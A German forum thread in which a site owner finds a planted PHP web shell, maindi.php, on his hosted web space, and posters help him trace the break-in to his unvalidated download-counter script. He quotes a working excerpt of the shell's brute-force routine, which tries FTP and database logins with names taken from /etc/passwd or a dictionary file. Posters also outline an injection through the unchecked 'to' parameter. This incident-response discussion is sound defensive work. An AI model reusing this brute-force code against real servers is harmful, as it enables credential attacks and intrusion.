[gelöst] Unbererechtiger Zugang zur Web-Site

[TomL]

Moin

Mein aktuelles Problem hat jetzt nichts mit Debian zu tun, sondern mit meiner Homepage bei einem Web-Space-Hoster. Gerade eben wollte ich 2 HTML-Dateien gegen aktuelle Versionen austauschen, da fallen mit 2 fremde Dateien auf, maindi.php und 1.txt. Das php-Script enthält so spannende Funktionen wie Bruteforce(), das Textfile ist eine Liste mit über 1600 Web-Sites, in der meine HP auch enthalten ist.

Ich frage deshalb einfach mal hier nach, weil ich hoffe, dass es hier auch für solche Fragen erfahrene Leute gibt. Also... ist es möglich, ein PHP-Script in meinem Kundenkonto/Web-Space zu installieren und laufen zu lassen, ohne dass dem Uploader das FTP-Password bekannt ist, mit dem ich meine Daten immer update? Ich hatte bisher gedacht, mein eigenes Password sichert oder garantiert eine exklusive Berechtigung..... kann man sich darüber hinwegsetzen?

Ich habe die 2 Dateien jetzt erst mal in ein anderes Verzeichnis verschoben und das Password aktualisiert.... aber beunruhigt bin ich schon.

[DeletedUserReAsG]

ist es möglich, ein PHP-Script in meinem Kundenkonto/Web-Space zu installieren und laufen zu lassen, ohne dass dem Uploader das FTP-Password bekannt ist[…]?

Grundsätzlich ja. Oft läuft das über ein kaputtes PHP-Script mit Schreibrechten, wie man’s öfter mal bei veralteten CMS, Administrations-Gedöns, Wordpress-Plugins, Shop-Systemen und vielen anderen Sachen findet. Kaputte Webserver-Config selbst wäre auch denkbar, würde ich bei ’nem kommerziellen Anbieter eher nicht erwarten. Ich würde mir dennoch auch die FTP-Logs angucken – vielleicht ist dir oder deinem Passwort-Manager oder FTP-Client oder so ja auch tatsächlich das PW entfleucht?

[MSfree]

Eine Möglichkeit an Benutzernamen und Paßwörter zu kommen ist, regelmässig den Inhalt der Zwischenablage zu kopieren. Das ist insbesondere dann problematisch, wenn man Benutzernamen und Paßwort aus Paßwortmanagern wie KeePass über die Zwischenablage in das Programm oder den Browser kopiert.

Siehe auch hier:
https://www.heise.de/news/TikTok-schnap ... 96222.html

[whisper]

Moin

Mein aktuelles Problem hat jetzt nichts mit Debian zu tun, sondern mit meiner Homepage bei einem Web-Space-Hoster.

Welche Software, Blog CMS o.ä. läuft denn da?
ich kenne vor allem ältere joomla Installationen, die viele plugins von nicht offiziellen Quellen einbanden und dadurch offen wie ein Scheunentor waren.
Wordpress u.ä. gilt ähnliches

Datum der überzähligen Dateien ansehen, mit Glück hast du noch spuren im Access.log und im error.log des Webservers.
Was es auchgibt sind schlampig installierte System von Hostern, die ihr Handwerk nicht verstehen. Ich könnte da einen Namen nennen, den gibt es sicherlich nicht mehr, der hat auf mein Meckern hin nur sehr unprofessionell reagiert, seit dem mach ich es selbst

[TomL]

Hi Leute,

Danke, dass ihr mal drauf geschaut habt.

Welche Software, Blog CMS o.ä. läuft denn da?

Nein, da läuft nichts... es sind m.M.n. alles nur passive HTML-Seiten, die allenfalls Menü-Links innerhalb der Seite beinhalten. Es ist auch nichts nach außerhalb verlinkt, es laufen keine fremden Scripte, die irgendwas interaktiv oder im Dialog ermöglichen... wie gesagt, meines Wissen nach ist das alles passiv, keine WebSite-Programm-geführte User-Interaktion.

Eine Möglichkeit an Benutzernamen und Paßwörter zu kommen ist, regelmässig den Inhalt der Zwischenablage zu kopieren.

Ich nutze den Zugang zur Wartung via FTP eigentlich nur mit dem Midnight-Commander. Klar, der hat natürlich die .netrc in meinem Homedir gespeichert. Aber aus meinem Homedir heraus gibts wiederum keine Browser-Interaktion mit dem Internet.... dafür nutze ich einen unprivilegierten User bzw. sogar nur VMs... aber die haben alle keinen Zugriff auf mein Homedir.

Oft läuft das über ein kaputtes PHP-Script mit Schreibrechten,

Jetzt bin ich wohl noch mehr beunruhigt.... weil ich eben 2 eigene Mini-PHP-Scripte mit Schreibrechten habe. Da sind aber keine Dialoge oder so implementiert, auch keine User-Interaktion, die addieren nur völlig stillschweigend bei einem Download einen Zähler zu diesem Download hoch, ohne jegliche weitere Informationen.... so dass da zum Beispiel sowas wie "mailserver=788" und beim nächsten dann "mailserver=789" steht. Mehr passiert da nicht.... keine Interaktion, keine Eingabe, keine Ausgabe auf dem Bildschirm. Was könnte ein solches kleines Script dann denoch als "kaputt" auszeichnen?

Mittlerweile habe ich anhand des vom ISP geführten Logs diese zwei Einträge gefunden.

Code: Alles auswählen

193.224.54.0 - - [01/Jun/2020:15:44:23 +0200] "GET /maindi.php HTTP/1.1" 200 6969 "http://123456.webhosting.sowieso.de/maindi.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0)
193.224.54.0 - - [01/Jun/2020:15:44:28 +0200] "POST /maindi.php HTTP/1.1" 200 5450 "http://123456.webhosting.sowieso.de/maindi.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0

maindi.php hat u.a. diesen (ein kurzer Ausschnitt) Inhalt:

Code: Alles auswählen

function actionBruteforce() {
	hardHeader();
	if( isset($_POST['proto']) ) {
		echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
		if( $_POST['proto'] == 'ftp' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$fp = @ftp_connect($ip, $port?$port:21);
				if(!$fp) return false;
				$res = @ftp_login($fp, $login, $pass);
				@ftp_close($fp);
				return $res;
			}
		} elseif( $_POST['proto'] == 'mysql' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
				@mysql_close($res);
				return $res;
			}
		} elseif( $_POST['proto'] == 'pgsql' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
				$res = @pg_connect($str);
				@pg_close($res);
				return $res;
			}
		}
		$success = 0;
		$attempts = 0;
		$server = explode(":", $_POST['server']);
		if($_POST['type'] == 1) {
			$temp = @file('/etc/passwd');
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = explode(":", $line);
					++$attempts;
					if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
						$success++;
						echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
					}
					if(@$_POST['reverse']) {
						$tmp = "";
						for($i=strlen($line[0])-1; $i>=0; --$i)
							$tmp .= $line[0][$i];
						++$attempts;
						if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
							$success++;
							echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
						}
					}
				}
		} elseif($_POST['type'] == 2) {
			$temp = @file($_POST['dict']);
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = trim($line);
					++$attempts;
					if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
						$success++;
						echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
					}
				}
		}
		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
	}

Anscheinend sind ftp und sql das Ziel. Und irgendein Lesezugriff auf /etc/password passiert. Eine Suche im Web mit verschiedenen Suchern nach maindi.php war eher nichtssagend. Aber interessant ist jedenfalls, da wird mein Web-Space direkt mit meiner Kundennummer und der ISP-Internen-Bezeichnung meiner Verzeichnisse, die ansonsten und im Normalfall ja mit dem sprechendem Namen meiner Domain redirected wird, ausdrücklich adressiert. Kann man so etwas zuhause nachstellen? Ich würde gerne mal feststellen, ob ich selber und ohne Password Dateien direkt speichern kann.

[whisper]

Auf die Fehler des Hosters bin ich damals ganz einfacch auf die Spur gekommen.
Log sich auf deinem Server per (s)ftp ein und versuche alles, um auf die Seiten der anderen Kunden zu kommen.
Das dürfte natürlich nicht möglich sein.
Und vor allem auch kein Screibrecht bei den anderen.
ssh geht ja wahrschienlich nicht? Wenn doch, natürlich auch von dort aus schauen.

Und ...Suche in den Logs nach maindi.php bis zu 30 Tage zurück.

Es ist nämlich keineswegs sicher, dass die Datei am 1.6 hochgeladen oder kopiert worden ist.
Außerdem würde ich dem Hoster melden, was passiert ist.

[TRex]

Es ist nämlich keineswegs sicher, dass die Datei am 1.6 hochgeladen oder kopiert worden ist.

Ist zwar nicht revisionssicher, aber hatten die Dateien denn ein Schreibdatum? Könnte beim Suchen nach mehr Hinweisen helfen. Außerdem würde ich prüfen:

* Aufrufe deiner PHP-Dateien (Unregelmäßigkeiten?)
* Webserver-Patchlevel (kommst du da ran? Ohne den Hoster zu fragen, der wird, wenn es dazu Anlass gibt, stillschweigend updaten)
* Sonstige Aufrufe der IP, die auch die maindi.php aufgerufen hat

Gerade wenn letzteres der allererste Aufruf ist, würde ich drauf tippen, dass der Angriff nicht über dich kam, sondern über den ISP (eine Lücke in seinem Stack) und der Angreifer einfach nur die Kundennummern hochgezählt hat.

[whisper]

Es ist nämlich keineswegs sicher, dass die Datei am 1.6 hochgeladen oder kopiert worden ist.

Ist zwar nicht revisionssicher, aber hatten die Dateien denn ein Schreibdatum? Könnte beim Suchen nach mehr Hinweisen helfen. Außerdem würde ich prüfen:

das meinte ich mit

Datum der überzähligen Dateien ansehen, mit Glück hast du noch spuren im Access.log und im error.log des Webservers.

[uname]

Es könnte sich um dieses Programm handeln, welches aber auch wohl nur irgendjemand vor 6 Jahren kopiert hat. Vielleicht magst du das eben bestätigen.

https://gist.github.com/tclancy/46a3a1a8047124b22c78

[TomL]

Vielleicht magst du das eben bestätigen.

Ich habe das jetzt nur mal mit 'meld' verglichen und es scheint so, als wäre das eine aus dem anderen entstanden. Viele Passagen sind identisch, es wurden sehr viel nur Bezeichnungen verändert ... aber dennoch stolpere ich beim drüberblicken auch über völlig unterschiedlichen Code.... ich kann den Anteil nicht beziffern, aber gefühlsmäßig ist es bestimmt die Hälfte Ich kann die Datei gerne zur Verfügung stellen.

Im Moment warte ich noch auf eine Reaktion auf meine Anfrage vom Support des Hosters.

@TRex
Ja, die Datei hat nen Datum .... von März 2020... ... wenns das ist, wonach es aussieht, liegt (und vielleicht arbeitet) die da seit Monaten. Jetzt überlege ich, so als präventive Maßnahme, täglich einmal via script + sftp ein "ls /www" runterzuladen und das mit dem Vortag zu vergleichen. Bei Abweichung zum Vortag kanns mir eine Mail senden.

[TomL]

Moin

Es hat jetzt ein paar Tage und ein bisschen Mailverkehr mit meinem ISP gedauert ... und nun ist es natürlich klar, dass der Hack von 'hier' ermöglicht wurde, und zwar offensichtlich durch meine 2 Mini-PHP-Scripte . *hmmm* Das Problem dabei ist, dass mir das eigentlich überhaupt nicht klar ist. nur leider kann ich das mangels Sachkenntnis auch nicht wirklich einschätzen oder widerlegen. Vielleicht kann mir jemand mit einer Einschätzung weiterhelfen.

Was sind das für Scripte, was tun sie? Das Script ist manuell von mir als Grafik in den Body des html-Source-Textes eingebunden, etwa so:

Code: Alles auswählen

<p style="margin-bottom: 0cm"><img src="k33.php?to=http://www.meinehp/sitename.html" name="counter" align="bottom" width="1" height="1" border="0"/></p>

Das Script ist nicht interaktiv und macht keine Bildschirmausgaben. Es öffnet eine Zähler-Datei, liest den letzten Wert, addiert 1 drauf und schreibt den Zähler zurück... alles ganz stille und leise. Die 2 Scripte auf dem Web-Space wurden nicht verändert, sie stimmen noch mit meinem lokal gespeicherten Original überein.

Kann so ein Script missbraucht werden...?... in dem man den Aufruf aus dem html-code extrahiert, dann das Script lädt, es ändert und geändert auf dem Server ausführt, ohne es zurückzuschreiben ...?... ist so etwas möglich?

[whisper]

Bin jetzt kein php Experte, allerdings verarbeitet ja dein k33.php einen Parameter TO
Das alleine ist möglicherweise das Einfallstor.
Der Parameter TO muss, bevor er von deinem Script akzeptiert wird auf alles unmögliche abgeklopft werden.
Tust du das?
(Das wichtigste ist, dass du sicherstellst, das der Aufruf NUR von deiner Seite kommt, Stichwort referrer, aber auch das kann gefälscht werden.
)
Da gibt es 100erte Möglichkeiten, das auszunutzen
Wenn du in deinem accesslog nach k33.php suchst und alle weggrepst, die legitim sind, bleibt ggfs. der Missbrauch übrig.

[DeletedUserReAsG]

Du gibst Parameter für’s Script über den Aufruf mit, und damit ist’s sehr wohl interaktiv – die Parameter kann jeder mit z.B. curl setzen, wie er lustig ist. Entsprechend ist eine Überprüfung der Eingabe unbedingt erforderlich, bevor die irgendwie weiterverarbeitet wird. Je nach Script reicht ein einfaches Escapen des mitgegebenen Strings, und man kann beliebigen PHP-Code ausführen. Hat das Script Schreibrechte im Verzeichnis, kann man entsprechend beliebige Dateien dort schreiben – die man natürlich dann auch von außen ausführen kann.

[TomL]

Ja, ich übergebe einen Parameter, und zwar den Name der aktuellen HTML-Seite. Mit diesem Parameter wird eine Datei in einem exklusiv für diesen Zweck vorhandenen Unterverzeichnis geöffnet, die i.ü.S. folgenden Inhalt hat:

Code: Alles auswählen

http://www.meinehp.de/index.html $ 113
http://www.meinehp.de/selnic.html $ 97
http://www.meinehp.de/autoupdate.html $ 201
http://www.meinehp.de/baustelle.html $ 1
usw.

Das Unterverzeichnis enthält nur diese Zähler-Dateien, sonst nichts ... jeweils mit YYYY-MM als Namensbestandteil für die Datei eines Monats

Mit dem übergebenen Parameter wird geprüft, ob es diesen Namen schon gibt ... wenn ja, Zähler lesen und erhöhen, wenn nein, Namen anfügen und Zähler 0 um 1 erhöhen.

Da kann man übergeben was man will, es würde lediglich mit diesem Übergabe-Text, wenn er neu wäre, eine neue Zeile mit Zähler 1 angefügt. Das ist der einzige Zweck dieses Scriptes. Kann ich vielleicht noch mehr Informationen liefern? Ich stelle auch gerne das von mir aus Web-Snippets erstellte Script zur Verfügung. Das ist nix geheimes, überhaupt nix besonderes. Ich bin auch kein PHP-Coder, ich habe das einmalig mit meinem Hintergrund der C++, C und Bash-Erfahrungen über Programmier-Grundsätze zusammenkopiert und angepasst.

[TomL]

Aufgrund einer Anregung via PM (Danke!) poste ich hier gerne das Script.

http://www.thlu.de/Public/k33_php.txt

[DeletedUserReAsG]

Kann ich vielleicht noch mehr Informationen liefern?

Du brauchst keine weiteren Informationen zu liefern: dein Script nimmt Daten entgegen und validiert sie nicht. Das auszunutzen, ist recht trivial: sinngemäß wird deine Zeile mit der Auswertung der Daten abgeschlossen; dahinter werden eigene Befehle mitgegeben, die dann ausgeführt werden. Deswegen ist’s auch vollkommen unerheblich, was das Script deiner Ansicht nach nur machen können soll – tatsächlich macht’s nämlich, was es vom Angreifer mitgegeben bekommt.

Solche Fehler werden üblicherweise automatisiert gefunden und ausgenutzt, btw. – da hat’s also nicht jemand auf dich persönlich abgesehen – falls dich das etwas beruhigt

[TRex]

Mir fällt gerade keine kreative Idee ein, das auszunutzen, aber $url kann so ziemlich alles enthalten und damit in die Header streuen (laut Doku [1] seit 5.1.2 auch nur noch einen Header auf einmal, was das Potential hier drastisch reduziert). Sonst aber gefühlt nirgend wo hin. Bei dem Vergleich mit dem entry[0] sollte außer "false" nichts erreicht werden können - ich bin aber kein PHP-Entwickler, und die Annahme, dass niemand es sich da zu leicht macht, fußt darauf, dass das da kein shell-Script ist und PHP nicht vollkommen seinem Ruf entspricht (und eine Variable nicht einfach mal so zu einem Ausdruck evaluiert wird).

Hast du merkwürdige Einträge in deinen Textdateien entdeckt? Ich weiß ja nicht, ob ein paar gewiefte Steuerzeichen (\r) reichen, um da beliebiges hinzuschreiben, aber das sollte dann ja nicht ohne Spuren geschehen sein. Nachdem der Angreifer Scripte ausführen konnte, hätte er die natürlich löschen oder verändern können...

Der schwerer nachweisbare Fall (immer noch die Frage nach den Spuren) wäre, wenn der Angreifer da eine PHP-Lücke ausgenutzt hätte (buffer overflow bei den Variablen, wie auch immer sowas beim Alter von PHP noch existieren sollte...).

Von der anderen Seite aus betrachtet, hätte der Angreifer fwrite verwenden müssen, dahin kommt man nur über das file handle $getstats, und das wird durch den Dateinamen $file bestimmt - und das hängt von der Datumsfunktion ab. Weiß nicht, wie manipulationssicher die sind.

Edit: niemand erinnerte mich im chat dran, dass die Variablen da möglicherweise einfach reinsubstituiert werden. Falls dem so sei, dann ist meine obige Annahme mit der shell doch ziemlich nah dran.

[1] https://www.php.net/manual/de/function.header.php

[DeletedUserReAsG]

Mir fällt gerade keine kreative Idee ein, das auszunutzen

Mir schon, aber ich arbeite es nicht zu ’nem Exploit aus (dazu sind meine PHP-Fähigkeiten zu eingerostet, und soviel Zeit habe ich auch gar nicht): an der Stelle, wo $newline aus u.A. $url zusammengebaut wird (bei der Benutzung von pastebin/ könnte man nun die Zeile angeben – und hübsch bunt würd’s auch noch aussehen), könnte man vorzeitig abbrechen und eigenen Code injizieren.

Richtig toll wär’s nun, wenn TomL nun mal die Logs greppen, und die Zeilen mit dem tatsächlichen Vorgang hier posten könnte. Dann wäre man nicht auf Mutmaßungen angewiesen und würde vielleicht noch was lernen. Die Angabe der PHP-Version wäre sicher auch interessant.

[thoerb]

Code: Alles auswählen

$url = $_GET['to'];

Das sollte auf jeden Fall validiert werden.

https://www.w3schools.com/PHP/filter_validate_url.asp

[TomL]

@niemand
Sorry, Du hast völlig Recht... sei nachsichtig, ich habe schlichtweg nicht dran gedacht. Hier nachgeliefert: 41082

Das sollte auf jeden Fall validiert werden.

Nein, meiner Meinung nach eigentlich nicht. Weil es weder für die Aufgabe noch für das Script eine Bedeutung hat, ob das eine valide URL ist oder nicht. Mit $url wird absolut gar nichts interpretiert oder geparsed gemacht, das ist einfach nur 'dummer' Text, der quasi und i.ü.S. aus der Datei gegrept wird. Die Variable hätte auch nicht $url heissen müssen. Wenn ich das Script mit dem Parameter-Text "Klapperkiste" aufrufen würde, sähe die Datei danach so aus:

Code: Alles auswählen

http://www.meinehp.de/index.html $ 113
http://www.meinehp.de/selnic.html $ 97
http://www.meinehp.de/autoupdate.html $ 201
http://www.meinehp.de/baustelle.html $ 1
Klapperkiste 1

Nach dem zweiten "Klapperkiste"-Aufruf dann:

Code: Alles auswählen

http://www.meinehp.de/index.html $ 113
http://www.meinehp.de/selnic.html $ 97
http://www.meinehp.de/autoupdate.html $ 201
http://www.meinehp.de/baustelle.html $ 1
Klapperkiste 2

Tja, die Logs... keine Chance... ich habe nur das von Juni sichern können, die älteren sind schon weg. Und anscheinend hat man mir das Hacking-Script bereits im März untergejubelt. Ich habe jetzt allerdings zur Prävention folgende Maßnahmen ergriffen:
1. Keine Zugriffe mehr via FTP und Password, nur noch via Pubkey und SSHFS.
2. Alle Passworte auf 'unmögliche' Passworte geändert (kann man sich weder merken, noch von Hand komfortabel abtippen)
3. Ich habe ein Monitoring eingerichtet, mit dem ich über neue Dateien am gleichen Tag noch via Mail informiert werde.

Das nur so am Rande... aber nix destrotrotz wäre die Frage noch offen, ob $url analog zur Bash-Übersetzung automatisch evaluiert werden kann.

Hast du merkwürdige Einträge in deinen Textdateien entdeckt? Ich weiß ja nicht, ob ein paar gewiefte Steuerzeichen (\r) reichen, um da beliebiges hinzuschreiben, aber das sollte dann ja nicht ohne Spuren geschehen sein. Nachdem der Angreifer Scripte ausführen konnte, hätte er die natürlich löschen oder verändern können...

Nee, hab gerade mal bis März zurück in meine Backups reingesehen... da ist nichts auffälliges enthalten.

[DeletedUserReAsG]

Ich habe jetzt allerdings zur Prävention folgende Maßnahmen ergriffen:
1. Keine Zugriffe mehr via FTP und Password, nur noch via Pubkey und SSHFS.
2. Alle Passworte auf 'unmögliche' Passworte geändert (kann man sich weder merken, noch von Hand komfortabel abtippen)

… die allerdings nichts ändern, wenn das Einfallstor tatsächlich das unsichere Script war

3. sollte dich ja zeitnah informieren, wenn‘s wieder draufgemacht wird – dann kannst du ja direkt in den Logs schauen, was genau dann da passiert ist

Mit $url wird absolut gar nichts interpretiert oder geparsed gemacht […]

Naja … wenn es statischer Text wäre, warum ist’s dann eine Variable?

Diese Usereingabe, die du via GET aus der URL holst, nimmst du ohne jegliche weitere Prüfung her, um $newline draus zu zusammenzustecken, und das dann in ’ne Datei zu schreiben. Außerdem liest du das File, in dem die ungefilterten und ungeprüften Usereingaben gelandet sind, ebenso ungeprüft und ungefiltert wieder ein. Insofern gehe ich weiterhin davon aus, dass die Ursache genau dort zu finden sein wird.

In jedem PHP-Einsteigertutorial steht ziemlich am Anfang, dass man niemals Usereingaben ungefiltert und ungeprüft weiterverarbeitet

[thoerb]

Das sollte auf jeden Fall validiert werden.

Nein, meiner Meinung nach eigentlich nicht. Weil es weder für die Aufgabe noch für das Script eine Bedeutung hat, ob das eine valide URL ist oder nicht. Mit $url wird absolut gar nichts interpretiert oder geparsed gemacht, das ist einfach nur 'dummer' Text, der quasi und i.ü.S. aus der Datei gegrept wird. Die Variable hätte auch nicht $url heissen müssen. Wenn ich das Script mit dem Parameter-Text "Klapperkiste" aufrufen

Alles was vom Browser kommt ist immer als böse anzusehen und muss validiert werden.

Schau dir bitte mal dieses Video an: https://www.youtube.com/watch?v=G9_owD5vBl4

Auch wenn du keine Form verwendest ist es bei dir genau das Gleiche.

[TomL]

Alles was vom Browser kommt ist immer als böse anzusehen und muss validiert werden.

Welche Kriterien definieren hier Gültigkeit? Auf was soll ich prüfen?

Auch wenn du keine Form verwendest ist es bei dir genau das Gleiche.

Das Video war tatsächlich interessant, ich habe mal stümperhaft versucht, dass nachzuspielen, das hatte beim Script keinerlei Auwirkung.

[thoerb]

Alles was vom Browser kommt ist immer als böse anzusehen und muss validiert werden.

Welche Kriterien definieren hier Gültigkeit? Auf was soll ich prüfen?

Schau hier: https://php-de.github.io/jumpto/validierung/

In deinem Fall würde ich prüfen, ob es sich um eine gültige URL handelt.

[TomL]

In deinem Fall würde ich prüfen, ob es sich um eine gültige URL handelt.

Ich hatte schon darauf hingewiesen, das sind keine URLs.... das ist nur ein beliebiger Text, der hier in diesem Beispiel quasi zufällig eine URL darstellt. Aber hinsichtlich seiner Bedeutung ist das keine URL, sondern nur 'dummer' Text. Beliebiger Text hat keine Prüflogik... das einzige, was mir noch in den Sinn käme, wären Längen-Limits... z.B. den übergebenen Text auf 100 Zeichen zu limitieren... isser länger, exit ohne was zu tun... aber was bringt das wirklich?